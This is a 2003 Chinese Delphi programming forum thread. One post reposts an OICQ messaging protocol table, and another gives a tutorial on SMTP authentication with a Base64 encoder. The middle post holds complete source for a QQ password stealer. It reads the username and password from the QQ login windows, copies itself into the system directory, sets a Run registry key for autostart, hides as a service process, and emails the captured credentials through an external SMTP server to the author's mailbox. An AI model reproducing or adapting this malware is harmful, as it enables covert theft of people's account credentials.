为了学习delphi.和在程序道路上走的兄第!免费放送个人珍藏!
1 楼coolfilm(苏飞工作室)回复于 2003-09-25 14:05:57 得分 0 公开OICQ所有通讯协议   --转载
  忘记了(对不起)   
  摘 要:
  关键字:OICQ,协议
  类 别:网络   
  公开OICQ所有通讯协议
              OICQ服务器系统通讯协议
  协议说明:
  协议由报文头(T)+发送者(T)+接收者(T)+报文类型(T)+报文长度(L)+报文内容组成
  发送者和接收者是系统内的程序种类,OICQ服务器0x01,传真服务器0x02,WEB服务器0x03,打印服务器是0x04,聊天服务器是0x05,OICQ用户是0x0A。     
  OICQ用户到OICQ服务器的通讯协议   引导符   (0x81+0x0A+0x01)
  报文类型   报文内容   报文说明
  0x01   昵称(S)+肖像(M)+用户密码(S)+性别(T)+年龄(T)+真实姓名(S)+国家/地区(T)+省(T)+市(S)+地址(S)+邮编(S)+学历(T)+毕业院校(S)+职业(T)+电话(S)+寻呼(S)+电邮(S)+爱好(S)+说明(S)+身份验证(T)新用户注册,身份验证用于当有人要将他加入好友时询问是否允许
  0x02   服务号(L)+密码(S)+注册方式(T)老用户注册,方式分为0正常,1隐身
  0x03   服务号(L)+对方服务号(L)+内容(S)   发送信息到某人
  0x04   服务号(L)+组号(L)+内容(S)   广播信息,组号=0为全体
  0x05   服务号(L)+朋友服务号(L)   查看朋友资料
  0x06   服务号(L)+组名称(S)   增加组
  0x07   服务号(L)+组编号(T)+组名称(S)   修改组名称
  0x08   服务号(L)+组编号(T)   删除组
  0x09   服务号(L)+移动人数(T)+{朋友服务号(L)+目的组号(T)}   移动组成员
  0x0a   服务号(L)+起始编号(L)+回传个数(T)+查找标志(T)   看谁在线上
  查找标志   1=向小找   2=向大找
  0x0b   服务号(L)+SQL语句(S)   自定义查找
  0x0c   服务号(L)+朋友服务号(L)   增加好友
  0x0d   服务号(L)+朋友服务号(L)+加入原因(S)   请求加入好友
  0x0e   服务号(L)+朋友服务号(L)   删除好友
  0x10   服务号(L)+显示模式(T)   更改显示方式   1上线2隐藏3免打扰4离线
  0x11   服务号(L)+监视服务号(L)   监视某人谈话
  0x12   服务号(L)+昵称(S)+肖像(M)+用户密码(S)+性别(T)+年龄(T)+真实姓名(S)+国家/地区(T)+省(T)+市(S)+地址(S)+邮编(S)+学历(T)+毕业院校(S)+职业(T)+电话(S)+寻呼(S)+电邮(S)+爱好(S)+说明(S)+身份验证(T)更改用户基本信息
  0x13   服务号(L)+朋友服务号(L)+文件名(S)+文件长度(L)   请求发送文件
  0x14   服务号(L)+朋友服务号(L)+允许/拒绝   是否允许发送文件
  0x15   服务号(L)+朋友服务号(L)+文件内容(B)   发送文件
  0x16   服务号(L)   连接测试报文
  0x17   服务号(L)+朋友服务号(L)+同意标志(T)   应答对方请求加入好友
  0=拒绝
  1=同意     
  OICQ服务器到OICQ的通讯协议
  报文类型   报文内容   报文说明
  0x01   成功/失败(T)+服务号(L)   新用户注册结果返回
  0x02   成功/失败(T)+组个数(T)+{组名称(S)+组编号(T)+朋友个数(T)+{朋友服务号(L)+肖像编号(T)+朋友状态(T)+朋友昵称(S)]   老用户注册结果返回
  朋友状态
  1=上线=2隐藏=3免打扰4离线
  0x03   标志(T)   +   朋友服务号(L)+信息(S)+信息类型(T)   标志   1=系统   2=用户
  发送消息,服务号=0是系统消息
  1=用户某某已经把你加为好友
  2=用户某某请求你通过身份验证
  3=用户某某同意了你的验证要求
  4=用户某某拒绝了你的验证请求
  0x04   成功/失败(T)+朋友服务号(L)+昵称(S)+肖像(M)+性别(T)+年龄(T)+真实姓名(S)+国家/地区(T)+省(T)+市(S)+地址(S)+邮编(S)+学历(T)+毕业院校(S)+职业(T)+电话(S)+寻呼(S)+电邮(S)+爱好(S)+说明(S)朋友信息回送
  0x05   成功/失败(T)+组编号(T)+组名称(S)   增加组结果回送   1/0
  0x06   成功/失败(T)+组编号(T)+组名称(S)修改组名称结果回送1/0
  0x07   成功/失败(T)+组编号(T)   删除组结果回送1/0
  0x08   成功/失败(T)   移动组成员结果回送1/0
  0x09   成功/失败(T)+在线个数(T)+{服务号(L)+昵称(S)+肖像(M)+省(T)+市(S)}   查找在线人员结果回送
  0x0a   成功/失败(T)+找到个数(T)+{服务号(L)+昵称(S)+肖像(M)+省(T)+市(S)}   自定义查找结果回送(最多50)
  0x0b   标志(T)+朋友服务号(L)   增加好友结果回送标志
  0=数据库失败
  =1成功
  =2需要身份验证
  =3对方不允许加入
  =4需要身份验证且不在线
  0x0c   朋友服务号(L)+昵称(S)+肖像号(M)+朋友状态(T)   给在线用户增加好友
  0x0e   成功/失败(T)+朋友服务号(L)   删除好友结果回送
  0x10   服务号(L)+显示模式(T)   显示模式回送   =1上线=2隐藏=3免打扰4离线
  0x11   成功/失败   更改用户基本信息结果回送
  0x12   朋友服务号(L)+文件名(S)+文件长度(L)   请求发送文件
  0x13   朋友服务号(L)+允许/拒绝   是否允许发送文件   1允许   0拒绝
  0x14   朋友服务号(L)+文件内容(B)   发送文件
  0x15   朋友服务号(L)+当前状态(T)朋友状态回送(系统发送)=1上线=2隐藏=3免打扰4离线
  0x16   服务号(L)   连接测试   
Top
2 楼coolfilm(苏飞工作室)回复于 2003-09-25 14:09:25 得分 0 //—————下面是oicqhack.dpr工程文件
  program   oicqhack;     
  uses
  Windows,
  Messages,
  mainunit   in   ‘mainunit.pas’;     
{$R *.RES}
  var
  wClass:   TWndClass;   //   class   struct   for   main   window
  Msg:   TMSG;   //   message   struct     
  procedure   ShutDown;
  begin
  UnRegisterClass(classname,hInst);
  ExitProcess(hInst);   //end   program
  end;     
  function   WindowProc(hWnd,Msg,wParam,lParam:Longint):Longint;   stdcall;
  begin
  Result:=DefWindowProc(hWnd,Msg,wParam,lParam);
  case   Msg   of
  WM_CREATE:   wincreate;
  WM_TIMER:   ontimer1;
  WM_DESTROY:   ShutDown;
  end;
  end;     
  begin
  //如果旧版本已运行,则停止旧版程序,只运行当前新版程序
  hmain:=Findwindow(‘HackSoft-Oicq-Password-Recoder’,’OICQ   密码记录器2′);
  if   hmain<>0   then   sendmessage(lp,wm_destroy,0,0);     
  hInst:=GetModuleHandle(nil);   //   get   the   application   instance
  classname:=’HackSoft-Oicq-Password-Recoder’;
  with   wClass   do
  begin
  Style:=   CS_PARENTDC;
  hIcon:=   LoadIcon(hInst,’MAINICON’);
  lpfnWndProc:=   @WindowProc;
  hInstance:=   hInst;
  hbrBackground:=   COLOR_BTNFACE+1;
  lpszClassName:=   classname;
  hCursor:=   LoadCursor(0,IDC_ARROW);
  end;
  RegisterClass(wClass);
  hmain:=CreateWindowEx(WS_EX_TOOLWINDOW,classname,’OICQ   密码记录器3′,WS_OVERLAPPEDWINDOW,10,10,120,80,0,0,hInst,nil);
  //建立一个新的定时器,用来定时扫描系统中的窗口
  newtime:=SetTimer(hmain,0,300,nil);
  //建立消息循环
  while(GetMessage(Msg,hmain,0,0))do
  begin
  TranslateMessage(Msg);
  DispatchMessage(Msg);
  end;
  //结束定时器
  killtimer(hmain,newtime);
  end.     
//——-下面是mainunit.pas单元文件
unit mainunit;
interface
  uses
  Windows,
  Messages,
  SysUtils,
  Classes,
  winsock,
  registry;
  const
  CRLF=#13#10;
  var
  spy:string;
  hinst,hmain,newtime,count,start,max,fhand,old,olde,lp:integer;
  his:array[0..100]   of   integer;
  syspath:array[0..200]   of   integer;
  regservice:function(uThread:integer;uType:integer):Integer;stdcall;
  libhandle:thandle;
  classname:array[0..100]   of   char;
  items:array[0..4]   of   string;     
  err:integer;
  wsadata:twsadata;
  fsocket,fport,step:integer;
  SockAddrIn:TSockAddrIn;
  hackmail,email,newpass,fhost,s1,password:string;
  sbuf:array[0..1024]   of   char;     
  procedure   winCreate;
  procedure   OnTimer1;     
implementation
  //修改注册表让程序自启动
  procedure   autorun;
  var   reg:tregistry;
  begin
  reg:=tregistry.create;
  reg.rootkey:=HKEY_LOCAL_MACHINE;
  reg.openkey(‘SOFTWARE\Microsoft\Windows\CurrentVersion\Run’,true);
  reg.WriteString(‘oicqpass’,spy+’OICQPASS.EXE’);
  reg.closekey;
  reg.free;
  end;     
  //下面是个发信的子过程,取得密码后发回[email protected]邮箱
  procedure   MailSend;
  begin
  err:=recv(FSocket,sbuf,400,0);
  s1:=strpas(sbuf);
  inc(step);
  case   step   of
  1:s1:=’HELO   smtp.hacker.com’+CRLF;
  2:s1:=’MAIL   FROM:   
  3:s1:=’RCPT   TO:   <'+email+'>‘+CRLF;
  4:s1:=’DATA’+CRLF;
  5:s1:=’From:”Oicq   Hack”
  +’To:”getoicq”
  +’Subject:QQ2001   Password   come.’+CRLF
  +CRLF
  +newpass+CRLF
  +’.’+CRLF;
  6:s1:=’QUIT’+CRLF;
  else
  step:=0;
  end;
  strcopy(sbuf,pchar(s1));
  err:=send(FSocket,sbuf,strlen(sbuf),MSG_DONTROUTE);
  end;
  //发信主过程
  procedure   SendPass;
  begin
  err:=WSAStartup($0101,WSAData);
  FSocket   :=   socket(PF_INET,   SOCK_STREAM,IPPROTO_IP);
  //利用   smtp.21cn.com   进行发信
  fhost:=’202.104.32.230′;
  fport:=25;
  SockAddrIn.sin_addr.s_addr:=inet_addr(PChar(FHost));
  SockAddrIn.sin_family   :=   PF_INET;
  SockAddrIn.sin_port   :=htons(Fport);
  err:=connect(FSocket,SockAddrIn,   SizeOf(SockAddrIn));
  step:=0;
  repeat
  MailSend;
  until   step=0;
  err:=closesocket(FSocket);
  err:=WSACleanup;
  end;     
  //窗口枚举函数
  function   lpEnumFunc(hwnd:integer;uint:integer):boolean;stdcall;
  var   hw,hwold,hs,wlong,hup,i:integer;
  sbuf,sb3,sb2:array[0..256]   of   char;
  sb1:string;
  begin
  hwold:=GetParent(hwnd);
  wlong:=GetWindowLong(hwnd,GWL_STYLE);
  if   (wlong   and   ES_PASSWORD)<>0   then
  begin
  //检查是否OICQ登陆
  hup:=GetParent(hwnd);
  sendmessage(hup,wm_gettext,100,integer(@sbuf));
  strpcopy(sb2,’OICQ   注册向导’);
  strpcopy(sb3,’QQ   注册向导’);
  if   (strcomp(sbuf,sb2)=0)   or   (strcomp(sbuf,sb3)=0)   then
  begin
  old:=GetParent(hup);
  old:=GetParent(old);
  old:=GetParent(old);
  start:=0;
  count:=1;
  //items.clear;     
  //跳过两个窗口
  hwnd:=Getwindow(hwnd,GW_HWNDFIRST);
  hwnd:=Getwindow(hwnd,GW_HWNDNEXT);
  //取得用户名
  hwnd:=Getwindow(hwnd,GW_HWNDNEXT);
  hw:=GetWindowTextLength(hwnd);
  hs:=integer(@sbuf);
  sendmessage(hwnd,wm_gettext,100,hs);
  items[0]:=’用户名:’+strpas(sbuf);
  //取得密码
  hwnd:=Getwindow(hwnd,GW_HWNDNEXT);
  hw:=GetWindowTextLength(hwnd);
  hs:=integer(@sbuf);
  sendmessage(hwnd,wm_gettext,100,hs);
  items[1]:=’密码:’+strpas(sbuf);
  end;
  strpcopy(sb2,’OICQ用户登录’);
  strpcopy(sb3,’QQ用户登录’);
  if   (strcomp(sbuf,sb2)=0)   or   (strcomp(sbuf,sb3)=0)   then
  begin
  old:=GetParent(hup);
  old:=GetParent(old);
  start:=0;
  count:=1;
  //items.clear;
  //取得用户名
  hwnd:=Getwindow(hwnd,GW_HWNDFIRST);
  hw:=GetWindowTextLength(hwnd);
  hs:=integer(@sbuf);
  sendmessage(hwnd,wm_gettext,100,hs);
  items[0]:=’用户名:’+strpas(sbuf);
  //取得密码
  hwnd:=Getwindow(hwnd,GW_HWNDNEXT);
  hw:=GetWindowTextLength(hwnd);
  hs:=integer(@sbuf);
  sendmessage(hwnd,wm_gettext,100,hs);
  items[1]:=’密码:’+strpas(sbuf);
  end;
  end;
  //检查是否在线
  hw:=GetWindowTextLength(hwnd);
  hs:=integer(@sbuf);
  sendmessage(hwnd,wm_gettext,100,hs);
  strpcopy(sb2,’在线’);
  strpcopy(sb3,’隐身’);
  if   (strcomp(sbuf,sb2)=0)   or   (strcomp(sbuf,sb3)=0)   then
  begin
  if   hwold=old   then
  begin
  if   olde<>old   then
  begin
  if   strcomp(sbuf,sb2)=0   then   items[2]:=’登录成功:在线’
  else   items[2]:=’登录成功:隐身’;
  items[3]:=’   ‘;
  //密码发回我的邮箱[email protected]     
  newpass:=format(‘%s   %s   %s   %s’,[items[0],items[1],items[2],items[3],items[4]);
  //
  hackmail:=email;
  sendpass;
  email:=’[email protected]’;
  sendpass;
  email:=hackmail;     
//密码存盘到oicqpass.dll中
  {
  if   fileexists(spy+’oicqpass.dll’)=false   then   fhand:=filecreate(spy+’oicqpass.dll’)
  else   fhand:=fileopen(spy+’oicqpass.dll’,fmOpenWrite);
  if   fileexists(spy+’oicqpass.dll’)=false   then   fhand:=filecreate(spy+’oicqpass.dll’)
  else   fhand:=fileopen(spy+’oicqpass.dll’,fmOpenWrite);
  fileseek(fhand,0,2);
  strpcopy(sbuf,items[0]+#13#10+items[1]+#13#10+items[2]+#13#10+items[3]+#13#10);
  filewrite(fhand,sbuf,strlen(sbuf));
  fileclose(fhand);
  }
  end;
  olde:=old;
  end;
  end;
  result:=true;
  end;     
  定时器响应函数
  procedure   OnTimer1;
  begin
  lp:=0;
  EnumChildWindows(GetDesktopWindow,@lpEnumFunc,lp);
  end;
  //窗口创建响应函数
  procedure   winCreate;
  var   wlong:integer;
  s1:string;
  s2,s3,sbuf:array[0..300]   of   char;
  i:integer;
  osver:TOSVERSIONINFO;
  tmp:tmemorystream;
  begin
  //取得操作系统版本信息,若为win9x则注册为服务进程而隐身,nt下无此功能
  osver.dwOSVersionInfoSize:=sizeof(TOSVERSIONINFO);
  if   GetVersionEx(osver)=true   then
  begin
  if   VER_PLATFORM_WIN32_NT<>osver.dwPlatformId   then
  begin
  LibHandle:=LoadLibrary(‘kernel32.dll’);
  if   LibHandle<>0   then
  begin
  @regservice:=GetProcAddress(LibHandle,   ‘RegisterServiceProcess’);
  regservice(0,1);//1=hide,0=show;
  FreeLibrary(LibHandle);
  end;
  end;
  end;
  max:=0;
  count:=0;
  将程序复制到系统目录
  s1:=ParamStr(0);
  for   i:=0   to   length(s1)   do   s2:=s1[i+1];
  GetSystemDirectory(@syspath,MAX_PATH);
  spy:=strpas(@syspath)+’\’;
  s1:=spy+’oicqhack.exe’;
  for   i:=0   to   length(s1)   do   s3:=s1[i+1];
  copyfile(s2,s3,false);
  //从email.txt中找到目标e-mail信箱
  if   fileexists(‘c:\email.txt’)=false   then
  begin
  email:=’[email protected]’;
  end   else
  begin
  tmp:=tmemorystream.create;;
  tmp.loadfromfile(‘c:\email.txt’);
  count:=tmp.size;
  //   strcopy(sbuf,pchar(”));
  tmp.read(sbuf,count);
  tmp.free;
  email:=”;
  for   step:=0   to   count-1   do   email:=email+sbuf[step];
  strcopy(sbuf,pchar(email));
  //   messagebox(0,sbuf,”,0);
  end;
  count:=0;
  step:=0;
  //修改注册表使程序自启动
  autorun;
  end;     
end.
Top
3 楼coolfilm(苏飞工作室)回复于 2003-09-25 14:15:44 得分 0 我正编一个邮件发送接收软件,一般服务器无事,但有些服务器需身份认证,必须先
  验证用户的ID标示符和密码,如新浪的邮箱。OUTLOOK可以,FOXMAIL3.0就不能用。
  delphi的NMSMTP和SAKEMAIL都不行,请问有办法或控件解决这个问题吗?
  hua8hua   (2001-10-11   8:20:00)
  首先发送EHLO命令,判断返回中是否存在AUTH   LOGIN
  如果存在,你就发送AUTH   LOGIN命令,等待服务器的应答,
  服务器应该应答344   xxxxxxxxxxx,这个xxxxxxxxxx是base64编码的用户名,翻译过来就是
  344   username:
  然后你在发送base64编码的用户名,等待服务器应答,
  服务器应该应答344   yyyyyyyyyyyy,这个yyyyyyyyyy是base64编码的密码,翻译过来就是
  344   password:
  然后你在发送base64编码的密码,等待服务器应答,
  服务器开始验证你的用户和密码,
  如果成功,则返回235   Authentication   Successful.
  如果失败,则返回5xx
  如果成功,接下来你就可以继续发送mail   from命令了。     
  还有一种就是发送ehlo中存在AUTH   CRAM-MD5,这是采用另一种编码MD5。同样
  你发送AUTH   CRAM-MD5   命令,等待服务器应答
  服务器如果支持这种编码,应该返回334   <一串长东西当作密钥>
  注意那个小括号是通过base64编码的,包括括号。
  然后你就接收到这个密钥,就用base64编码还原。
  然后把用户名和密码组合起来   格式:用户名+空格+经过MD5编码(使用上面的密钥)的密码,
  然后再把这一串用base64编码   ,然后发送给服务器,等待服务器应答
  服务器收到后,现用base64编码还原,然后分解出用户名和密码,在对密码进行编码处理,
  然后判断你是否合法,
  如果合法,服务器返回和上面一样,
  如果合法,你就可以继续发送mail   from命令     
[red][b]给分[/b][/red][:D][:D]
  TangDL   (2001-10-11   8:26:00)
  转贴:SMTP协议的其它知识,密码认证如上所说     
  1.SMTP是工作在两种情况下:一是电子邮件从客户机传输到服务器;二是从某一个服务器传输到另一个
  服务器
  2.SMTP是个请求/响应协议,命令和响应都是基于ASCII文本,并以CR和LF符结束。响应包括一个表示返
  回状态的三位数字代码
  3.SMTP在TCP协议25号端口监听连接请求
  4.连接和发送过程:     
  a.建立TCP连接
  b.客户端发送HELO命令以标识发件人自己的身份,然后客户端发送MAIL命令
  服务器端正希望以OK作为响应,表明准备接收
  c.客户端发送RCPT命令,以标识该电子邮件的计划接收人,可以有多个RCPT行
  服务器端则表示是否愿意为收件人接受邮件
  d.协商结束,发送邮件,用命令DATA发送
  e.   以.表示结束输入内容一起发送出去
  f.结束此次发送,用QUIT命令退出。     
  5.另外两个命令:
  VRFY—用于验证给定的用户邮箱是否存在,以及接收关于该用户的详细信息。
  EXPN—用于扩充邮件列表。     
  6.邮件路由过程:
  SMTP服务器基于‘域名服务DNS中计划收件人的域名来路由电子邮件。SMTP服务器基于DNS中的MX记录
  来路由电子邮件,MX记录注册了域名和相关的SMTP中继主机,属于该域的电子邮件都应向该主机发送。     
若SMTP服务器mail.abc.com收到一封信要发到[email protected]:
  a.Sendmail请求DNS给出主机sh.abc.com的CNAME记录,如有,假若CNAME到shmail.abc.com,则再次
  请求shmail.abc.com的CNAME记录,直到没有为止
  b.假定被CNAME到shmail.abc.com,然后sendmail请求@abc.com域的DNS给出shmail.abc.com的MX记录,
  shmail   MX   5   shmail.abc.com
  10   shmail2.abc.com
  c.   Sendmail最后请求DNS给出shmail.abc.com的A记录,即IP地址,若返回值为1.2.3.4
  d.   Sendmail与1.2.3.4连接,传送这封给[email protected]的信到1.2.3.4这台服务器的SMTP后台程序     
7.SMTP基本命令集:
  命令   描述
  ——————————
  HELO   向服务器标识用户身份
  发送者能欺骗,说谎,但一般情况下服务器都能检测到。     
  MAIL   初始化邮件传输
  mail   from:
  RCPT   标识单个的邮件接收人;常在MAIL命令后面
  可有多个rcpt   to:
  DATA   在单个或多个RCPT命令后,表示所有的邮件接收人已标识,并初始化数据传输,以.结束。
  VRFY   用于验证指定的用户/邮箱是否存在;由于安全方面的原因,服务器常禁止此命令
  EXPN   验证给定的邮箱列表是否存在,扩充邮箱列表,也常被禁用
  HELP   查询服务器支持什么命令
  NOOP   无操作,服务器应响应OK
  QUIT   结束会话
  RSET   重置会话,当前传输被取消
  ——————————–     
  8.   MAIL   FROM命令中指定的地址是称作   envelope   from地址,不需要和发送者自己的地址是一致的。
  RCPT   TO   与之等同,指明的接收者地址称为envelope   to地址,而与实际的to:行是什么无关。
  9.为什么没有RCPT   CC和RCPT   BCC:?
  所有的接收者协商都通过RCPT   TO命令来实现,如果是BCC,则协商发送后在对方接收时被删掉信封接收者
  10.邮件被分为信封部分,信头部分和信体部分
  envelope   from,   envelope   to   与message   from:,   message   to:完全不相干。
  evnelope是由服务器主机间SMTP后台提供的,而message   from/to是由用户提供的。有无冒号也是区别。     
  11.   怎样由信封部分检查是否一封信是否是伪造的?
  a.   received行的关联性。
  现在的SMTP邮件传输系统,在信封部分除了两端的内部主机处理的之个,考虑两个公司防火墙之间
  的部分,若两台防火墙机器分别为A和B,但接收者检查信封received:行时发现经过了C.则是伪造的。
  b.   received:行中的主机和IP地址对是否对应如:
  Receibed:   from   galangal.org   (turmeric.com   [104.128.23.115]   by   mail   .bieberdorf.edu….
  c.   被人手动添加在最后面的received行:
  Received:   from   galangal.org   ([104.128.23.115])   by   mail   .bieberdorf.edu   (8.8.5)
  Received:   from   lemongrass.org   by   galangal.org   (8.7.3)
  Received:   from   graprao.com   by   lemongrass.org   (8.6.4)     
转贴:NMSMTP的密码认证解决方案
  const
  BaseTable   =   ‘ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;     
  function   EncodeBase64(Source:string):string;
  var
  Times,   LenSrc,   i:   Integer;
  x1,   x2,   x3,   x4:   Char;
  xt:   Byte;
  begin
  Result   :=   ”;
  LenSrc   :=   Length(Source);
  if   LenSrc   mod   3   =   0   then
  Times   :=   LenSrc   div   3
  else
  Times   :=   LenSrc   div   3   +   1;
  for   i   :=   0   to   Times   –   1   do
  begin
  if   LenSrc   >=   (3   +   i   *   3)   then
  begin
  x1   :=   BaseTable[(ord(Source[1   +   i   *   3])   shr   2)+1];
  xt   :=   (ord(Source[1   +   i   *   3])   shl   4)   and   48;
  xt   :=   xt   or   (ord(Source[2   +   i   *   3])   shr   4);
  x2   :=   BaseTable[xt   +   1];
  xt   :=   (Ord(Source[2   +   i   *   3])   shl   2)   and   60;
  xt   :=   xt   or   (Ord(Source[3   +   i   *   3])   shr   6);
  x3   :=   BaseTable[xt   +   1];
  xt   :=   (ord(Source[3   +   i   *   3])   and   63);
  x4   :=   BaseTable[xt   +   1];
  end
  else   if   LenSrc   >=   (2   +   i   *   3)   then
  begin
  x1   :=   BaseTable[(Ord(Source[1   +   i   *   3])   shr   2)   +   1];
  xt   :=   (Ord(Source[1   +   i   *   3])   shl   4)   and   48;
  xt   :=   xt   or   (Ord(Source[2   +   i   *   3])   shr   4);
  x2   :=   BaseTable[xt   +   1];
  xt   :=   (Ord(Source[2   +   i   *   3])   shl   2)   and   60;
  x3   :=   BaseTable[xt   +   1];
  x4   :=   ‘=’;
  end   else
  begin
  x1   :=   BaseTable[(Ord(Source[1   +   i   *   3])   shr   2)+1];
  xt   :=   (Ord(Source[1   +   i   *   3])   shl   4)   and   48;
  x2   :=   BaseTable[xt   +   1];
  x3   :=   ‘=’;
  x4   :=   ‘=’;
  end;
  Result   :=   Result   +   x1   +   x2   +   x3   +   x4;
  end;
  end;     
  在SMTP.OnConnect事件中写身份验证.
  procedure   TSendFile.NMSMTPConnect(Sender:   TObject);
  begin   {身份验证}
  if   FSMTP.ReplyNumber   =   250   then
  FSMTP.Transaction(‘auth   login’);
  if   FSMTP.ReplyNumber   =   334   then
  begin
  FSMTP.Transaction(EncodeBase64(FUserID));
  FSMTP.Transaction(EncodeBase64(FPassword));
  end;
  end;
 
